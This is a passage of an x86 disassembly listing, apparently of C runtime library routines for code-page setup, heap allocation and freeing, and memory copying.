sub_402B23	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B52	proc near		; CODE XREF: sub_402D07:loc_402ECFp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4074E0
		rep stosd
		stosb
		xor	eax, eax
		mov	dword_4075E4, eax
		mov	dword_4074C8, eax
		mov	dword_4074C4, eax
		mov	edi, offset dword_4075F0
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_402B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B7B	proc near		; CODE XREF: sub_402D07:loc_402ED4p

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, dword_407030
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_18]
		push	eax
		push	dword_4075E4
		call	ds:dword_4050C4	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_402CB8
		xor	eax, eax

loc_402BAD:				; CODE XREF: sub_402B7B+3Cj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_402BAD
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_402BFD
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi

loc_402BCC:				; CODE XREF: sub_402B7B+7Ej
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_402BF3
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_402BF3:				; CODE XREF: sub_402B7B+59j
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_402BCC
		pop	edi
		pop	ebx

loc_402BFD:				; CODE XREF: sub_402B7B+4Aj
		push	0
		push	dword_4074C4
		lea	eax, [ebp+var_518]
		push	dword_4075E4
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_404386
		push	0
		push	dword_4075E4
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	dword_4074C4
		call	sub_403FCA
		push	0
		push	dword_4075E4
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	dword_4074C4
		call	sub_403FCA
		add	esp, 5Ch
		xor	eax, eax

loc_402C72:				; CODE XREF: sub_402B7B+139j
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_402C95
		or	byte_4074E1[eax], 10h
		mov	cl, [ebp+eax+var_218]

loc_402C8D:				; CODE XREF: sub_402B7B+12Dj
		mov	byte_407600[eax], cl
		jmp	short loc_402CB1
; ---------------------------------------------------------------------------

loc_402C95:				; CODE XREF: sub_402B7B+102j
		test	cl, 2
		jz	short loc_402CAA
		or	byte_4074E1[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------

loc_402CAA:				; CODE XREF: sub_402B7B+11Dj
		mov	byte_407600[eax], 0

loc_402CB1:				; CODE XREF: sub_402B7B+118j
		inc	eax
		cmp	eax, esi
		jb	short loc_402C72
		jmp	short loc_402CFC
; ---------------------------------------------------------------------------

loc_402CB8:				; CODE XREF: sub_402B7B+2Aj
		xor	eax, eax

loc_402CBA:				; CODE XREF: sub_402B7B+17Fj
		cmp	eax, 41h
		jb	short loc_402CD8
		cmp	eax, 5Ah
		ja	short loc_402CD8
		or	byte_4074E1[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_402CD0:				; CODE XREF: sub_402B7B+173j
		mov	byte_407600[eax], cl
		jmp	short loc_402CF7
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_402B7B+142j
					; sub_402B7B+147j
		cmp	eax, 61h
		jb	short loc_402CF0
		cmp	eax, 7Ah
		ja	short loc_402CF0
		or	byte_4074E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_402CD0
; ---------------------------------------------------------------------------

loc_402CF0:				; CODE XREF: sub_402B7B+160j
					; sub_402B7B+165j
		mov	byte_407600[eax], 0

loc_402CF7:				; CODE XREF: sub_402B7B+15Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_402CBA

loc_402CFC:				; CODE XREF: sub_402B7B+13Bj
		mov	ecx, [ebp+var_4]
		pop	esi
		call	sub_40124E
		leave
		retn
sub_402B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D07	proc near		; CODE XREF: sub_402EED+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_407030
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, 0FFFFFFFEh
		mov	[ebp+var_4], eax
		push	edi
		mov	dword_407474, ebx
		jnz	short loc_402D3A
		mov	dword_407474, 1
		call	ds:dword_4050C0	; GetOEMCP
		jmp	short loc_402D65
; ---------------------------------------------------------------------------

loc_402D3A:				; CODE XREF: sub_402D07+1Fj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_402D51
		mov	dword_407474, 1
		call	ds:dword_4050BC	; GetACP
		jmp	short loc_402D65
; ---------------------------------------------------------------------------

loc_402D51:				; CODE XREF: sub_402D07+36j
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_402D6A
		mov	eax, dword_407490
		mov	dword_407474, 1

loc_402D65:				; CODE XREF: sub_402D07+31j
					; sub_402D07+48j
		mov	[ebp+arg_0], eax
		mov	esi, eax

loc_402D6A:				; CODE XREF: sub_402D07+4Dj
		cmp	esi, dword_4075E4
		jz	loc_402ED9
		cmp	esi, ebx
		jz	loc_402ECF
		xor	edx, edx
		xor	eax, eax

loc_402D82:				; CODE XREF: sub_402D07+8Cj
		cmp	dword_407188[eax], esi
		jz	short loc_402DF1
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_402D82
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_4050C4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_402EC7
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4074E0
		rep stosd
		stosb
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_18], edi
		mov	dword_4075E4, esi
		mov	dword_4074C4, ebx
		jbe	loc_402EB5
		cmp	[ebp+var_12], 0
		jz	loc_402E90
		lea	ecx, [ebp+var_11]

loc_402DDB:				; CODE XREF: sub_402D07+183j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_402E90
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_402E80
; ---------------------------------------------------------------------------

loc_402DF1:				; CODE XREF: sub_402D07+81j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4074E0
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_1C], ebx
		stosb
		lea	ebx, dword_407198[ecx]

loc_402E0D:				; CODE XREF: sub_402D07+143j
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_402E3C
; ---------------------------------------------------------------------------

loc_402E13:				; CODE XREF: sub_402D07+137j
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_402E40
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_402E38
		mov	edx, [ebp+var_1C]
		mov	dl, byte_407180[edx]

loc_402E2D:				; CODE XREF: sub_402D07+12Fj
		or	byte_4074E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_402E2D

loc_402E38:				; CODE XREF: sub_402D07+11Bj
		inc	esi
		inc	esi
		mov	al, [esi]

loc_402E3C:				; CODE XREF: sub_402D07+10Aj
		test	al, al
		jnz	short loc_402E13

loc_402E40:				; CODE XREF: sub_402D07+111j
		inc	[ebp+var_1C]
		add	ebx, 8
		cmp	[ebp+var_1C], 4
		jb	short loc_402E0D
		mov	eax, [ebp+arg_0]
		mov	dword_4075E4, eax
		mov	dword_4074C8, 1
		call	sub_402B23
		lea	esi, dword_40718C[ecx]
		mov	edi, offset dword_4075F0
		movsd
		movsd
		mov	dword_4074C4, eax
		movsd
		jmp	short loc_402ED4
; ---------------------------------------------------------------------------

loc_402E78:				; CODE XREF: sub_402D07+17Bj
		or	byte_4074E1[eax], 4
		inc	eax

loc_402E80:				; CODE XREF: sub_402D07+E5j
		cmp	eax, edx
		jbe	short loc_402E78
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_402DDB

loc_402E90:				; CODE XREF: sub_402D07+CBj
					; sub_402D07+D8j
		mov	eax, edi

loc_402E92:				; CODE XREF: sub_402D07+198j
		or	byte_4074E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_402E92
		mov	eax, esi
		call	sub_402B23
		mov	dword_4074C4, eax
		mov	dword_4074C8, edi
		jmp	short loc_402EBB
; ---------------------------------------------------------------------------

loc_402EB5:				; CODE XREF: sub_402D07+C1j
		mov	dword_4074C8, ebx

loc_402EBB:				; CODE XREF: sub_402D07+1ACj
		xor	eax, eax
		mov	edi, offset dword_4075F0
		stosd
		stosd
		stosd
		jmp	short loc_402ED4
; ---------------------------------------------------------------------------

loc_402EC7:				; CODE XREF: sub_402D07+9Cj
		cmp	dword_407474, ebx
		jz	short loc_402EDD

loc_402ECF:				; CODE XREF: sub_402D07+71j
		call	sub_402B52

loc_402ED4:				; CODE XREF: sub_402D07+16Fj
					; sub_402D07+1BEj
		call	sub_402B7B

loc_402ED9:				; CODE XREF: sub_402D07+69j
		xor	eax, eax
		jmp	short loc_402EE0
; ---------------------------------------------------------------------------

loc_402EDD:				; CODE XREF: sub_402D07+1C6j
		or	eax, 0FFFFFFFFh

loc_402EE0:				; CODE XREF: sub_402D07+1D4j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_40124E
		leave
		retn
sub_402D07	endp


; =============== S U B	R O U T	I N E =======================================



sub_402EED	proc near		; CODE XREF: sub_401C1D+Cp
					; sub_401C7A+Dp ...
		cmp	dword_40782C, 0
		jnz	short loc_402F08
		push	0FFFFFFFDh
		call	sub_402D07
		pop	ecx
		mov	dword_40782C, 1

loc_402F08:				; CODE XREF: sub_402EED+7j
		xor	eax, eax
		retn
sub_402EED	endp


; =============== S U B	R O U T	I N E =======================================



sub_402F0B	proc near		; CODE XREF: sub_401C7A+92p
					; sub_401C7A+B7p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_402F41
		cmp	dword_407704, 3
		push	esi
		jnz	short loc_402F33
		call	sub_403355
		test	eax, eax
		pop	ecx
		push	esi
		jz	short loc_402F33
		push	eax
		call	sub_403380
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_402F33:				; CODE XREF: sub_402F0B+11j
					; sub_402F0B+1Cj
		push	0
		push	dword_407700
		call	ds:dword_4050AC	; RtlFreeHeap

loc_402F41:				; CODE XREF: sub_402F0B+7j
		pop	esi
		retn
sub_402F0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_402F43	proc near		; CODE XREF: sub_402F89+Bp

arg_0		= dword	ptr  4

		cmp	dword_407704, 3
		push	esi
		mov	esi, [esp+4+arg_0]
		jnz	short loc_402F64
		cmp	esi, dword_4074B4
		ja	short loc_402F64
		push	esi
		call	sub_403B34
		test	eax, eax
		pop	ecx
		jnz	short loc_402F87

loc_402F64:				; CODE XREF: sub_402F43+Cj
					; sub_402F43+14j
		test	esi, esi
		jnz	short loc_402F69
		inc	esi

loc_402F69:				; CODE XREF: sub_402F43+23j
		cmp	dword_407704, 1
		jz	short loc_402F78
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_402F78:				; CODE XREF: sub_402F43+2Dj
		push	esi
		push	0
		push	dword_407700
		call	ds:dword_4050C8	; RtlAllocateHeap

loc_402F87:				; CODE XREF: sub_402F43+1Fj
		pop	esi
		retn
sub_402F43	endp


; =============== S U B	R O U T	I N E =======================================



sub_402F89	proc near		; CODE XREF: sub_402FB5+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_402FB2

loc_402F90:				; CODE XREF: sub_402F89+27j
		push	[esp+arg_0]
		call	sub_402F43
		test	eax, eax
		pop	ecx
		jnz	short locret_402FB4
		cmp	[esp+arg_4], eax
		jz	short locret_402FB4
		push	[esp+arg_0]
		call	sub_404540
		test	eax, eax
		pop	ecx
		jnz	short loc_402F90

loc_402FB2:				; CODE XREF: sub_402F89+5j
		xor	eax, eax

locret_402FB4:				; CODE XREF: sub_402F89+13j
					; sub_402F89+19j
		retn
sub_402F89	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FB5	proc near		; CODE XREF: sub_401C7A+3Ep
					; sub_401C7A+6Ep ...

arg_0		= dword	ptr  4

		push	dword_4074A4
		push	[esp+4+arg_0]
		call	sub_402F89
		pop	ecx
		pop	ecx
		retn
sub_402FB5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FD0	proc near		; CODE XREF: sub_401F4F+10Ap
					; sub_403E30+8Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_402FF0
		cmp	edi, eax
		jb	loc_40316C

loc_402FF0:				; CODE XREF: sub_402FD0+16j
		test	edi, 3
		jnz	short loc_40300C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40302C
		rep movsd
		jmp	ds:off_40311C[edx*4]
; ---------------------------------------------------------------------------

loc_40300C:				; CODE XREF: sub_402FD0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_403024
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_40302C+4[eax*4]
; ---------------------------------------------------------------------------

loc_403024:				; CODE XREF: sub_402FD0+46j
		jmp	dword ptr ds:loc_40312C[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40302C:				; CODE XREF: sub_402FD0+31j
					; sub_402FD0+8Ej ...
		jmp	ds:off_4030B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_403040
		dd offset loc_40306C
		dd offset loc_403090
; ---------------------------------------------------------------------------

loc_403040:				; DATA XREF: sub_402FD0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40302C
		rep movsd
		jmp	ds:off_40311C[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40306C:				; DATA XREF: sub_402FD0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40302C
		rep movsd
		jmp	ds:off_40311C[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_403090:				; DATA XREF: sub_402FD0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40302C
		rep movsd
		jmp	ds:off_40311C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4030B0	dd offset loc_403113	; DATA XREF: sub_402FD0:loc_40302Cr
		dd offset loc_403100
		dd offset loc_4030F8
		dd offset loc_4030F0
		dd offset loc_4030E8
		dd offset loc_4030E0
		dd offset loc_4030D8
		dd offset loc_4030D0
; ---------------------------------------------------------------------------

loc_4030D0:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4030D8:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4030E0:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4030E8:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4030F0:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4030F8:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_403100:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_403113:				; CODE XREF: sub_402FD0:loc_40302Cj
					; DATA XREF: sub_402FD0:off_4030B0o
		jmp	ds:off_40311C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40311C	dd offset loc_40312C	; DATA XREF: sub_402FD0+35r
					; sub_402FD0+92r ...
		dd offset loc_403134
		dd offset loc_403140
		dd offset loc_403154
; ---------------------------------------------------------------------------

loc_40312C:				; CODE XREF: sub_402FD0+35j
					; sub_402FD0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_403134:				; CODE XREF: sub_402FD0+35j
					; sub_402FD0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_403140:				; CODE XREF: sub_402FD0+35j
					; sub_402FD0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_403154:				; CODE XREF: sub_402FD0+35j
					; sub_402FD0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40316C:				; CODE XREF: sub_402FD0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4031A0
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_403194
		std
		rep movsd
		cld
		jmp	ds:off_4032B8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_403194:				; CODE XREF: sub_402FD0+1B5j
					; sub_402FD0+210j ...
		neg	ecx
		jmp	dword ptr ds:loc_403268[ecx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_4031A0:				; CODE XREF: sub_402FD0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4031B8
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4031B8+4[eax*4]
; ---------------------------------------------------------------------------

loc_4031B8:				; CODE XREF: sub_402FD0+1DAj
					; DATA XREF: sub_402FD0+1E1r
		jmp	ds:off_4032B8[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_4031CB+1
		dd offset loc_4031F0
; ---------------------------------------------------------------------------
		sbb	[edx], dh
		inc	eax

loc_4031CB:				; DATA XREF: sub_402FD0+1F0o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_403194
		std
		rep movsd
		cld
		jmp	ds:off_4032B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_4031F0:				; DATA XREF: sub_402FD0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_403194
		std
		rep movsd
		cld
		jmp	ds:off_4032B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_403194
		std
		rep movsd
		cld
		jmp	ds:off_4032B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40326C
		dd offset loc_403274
		dd offset loc_40327C
		dd offset loc_403284
		dd offset loc_40328C
; ---------------------------------------------------------------------------
		xchg	eax, esp
		xor	al, [eax+0]
		pushf
		xor	al, [eax+0]

loc_403268:				; DATA XREF: sub_402FD0+1C6r
		scasd
		xor	al, [eax+0]

loc_40326C:				; DATA XREF: sub_402FD0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_403274:				; DATA XREF: sub_402FD0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_40327C:				; DATA XREF: sub_402FD0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_403284:				; DATA XREF: sub_402FD0+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_40328C:				; DATA XREF: sub_402FD0+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4032AF:				; CODE XREF: sub_402FD0+1C6j
		jmp	ds:off_4032B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4032B8	dd offset loc_4032C8	; DATA XREF: sub_402FD0+1BBr
					; sub_402FD0:loc_4031B8r ...
		dd offset loc_4032D0
		dd offset loc_4032E0
		dd offset loc_4032F4
; ---------------------------------------------------------------------------

loc_4032C8:				; CODE XREF: sub_402FD0+1BBj
					; sub_402FD0:loc_4031B8j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4032D0:				; CODE XREF: sub_402FD0+1BBj
					; sub_402FD0:loc_4031B8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4032E0:				; CODE XREF: sub_402FD0+1BBj
					; sub_402FD0:loc_4031B8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4032F4:				; CODE XREF: sub_402FD0+1BBj
					; sub_402FD0:loc_4031B8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_402FD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40330D	proc near		; CODE XREF: sub_4022BE+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_407700
		call	ds:dword_4050C8	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4074B0, eax
		jnz	short loc_40332A
		retn
; ---------------------------------------------------------------------------

loc_40332A:				; CODE XREF: sub_40330D+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4074A8, 0
		and	dword_4074AC, 0
		mov	dword_4074B8, eax
		xor	eax, eax
		mov	dword_4074B4, ecx
		mov	dword_4074BC, 10h
		inc	eax
		retn
sub_40330D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403355	proc near		; CODE XREF: sub_402F0B+13p
					; sub_403E30+48p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4074AC
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4074B0
		lea	ecx, [eax+ecx*4]
		jmp	short loc_403379
; ---------------------------------------------------------------------------

loc_403367:				; CODE XREF: sub_403355+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_40337F
		add	eax, 14h

loc_403379:				; CODE XREF: sub_403355+10j
		cmp	eax, ecx
		jb	short loc_403367
		xor	eax, eax

locret_40337F:				; CODE XREF: sub_403355+1Fj
		retn
sub_403355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403380	proc near		; CODE XREF: sub_402F0B+1Fp
					; sub_403E30+9Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_403694
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_40344B
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4033E3
		push	3Fh
		pop	edx

loc_4033E3:				; CODE XREF: sub_403380+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_40342D
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_40340E
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40342A
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40342A
; ---------------------------------------------------------------------------

loc_40340E:				; CODE XREF: sub_403380+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40342A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_40342A:				; CODE XREF: sub_403380+85j
					; sub_403380+8Cj ...
		mov	ebx, [ebp+arg_4]

loc_40342D:				; CODE XREF: sub_403380+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx

loc_40344B:				; CODE XREF: sub_403380+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_403459
		push	3Fh
		pop	edx

loc_403459:				; CODE XREF: sub_403380+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4034F7
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_40347E
		mov	ebx, esi

loc_40347E:				; CODE XREF: sub_403380+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_403490
		mov	edx, esi

loc_403490:				; CODE XREF: sub_403380+10Cj
		cmp	ebx, edx
		jz	short loc_4034F2
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_4034DA
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_4034C0
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
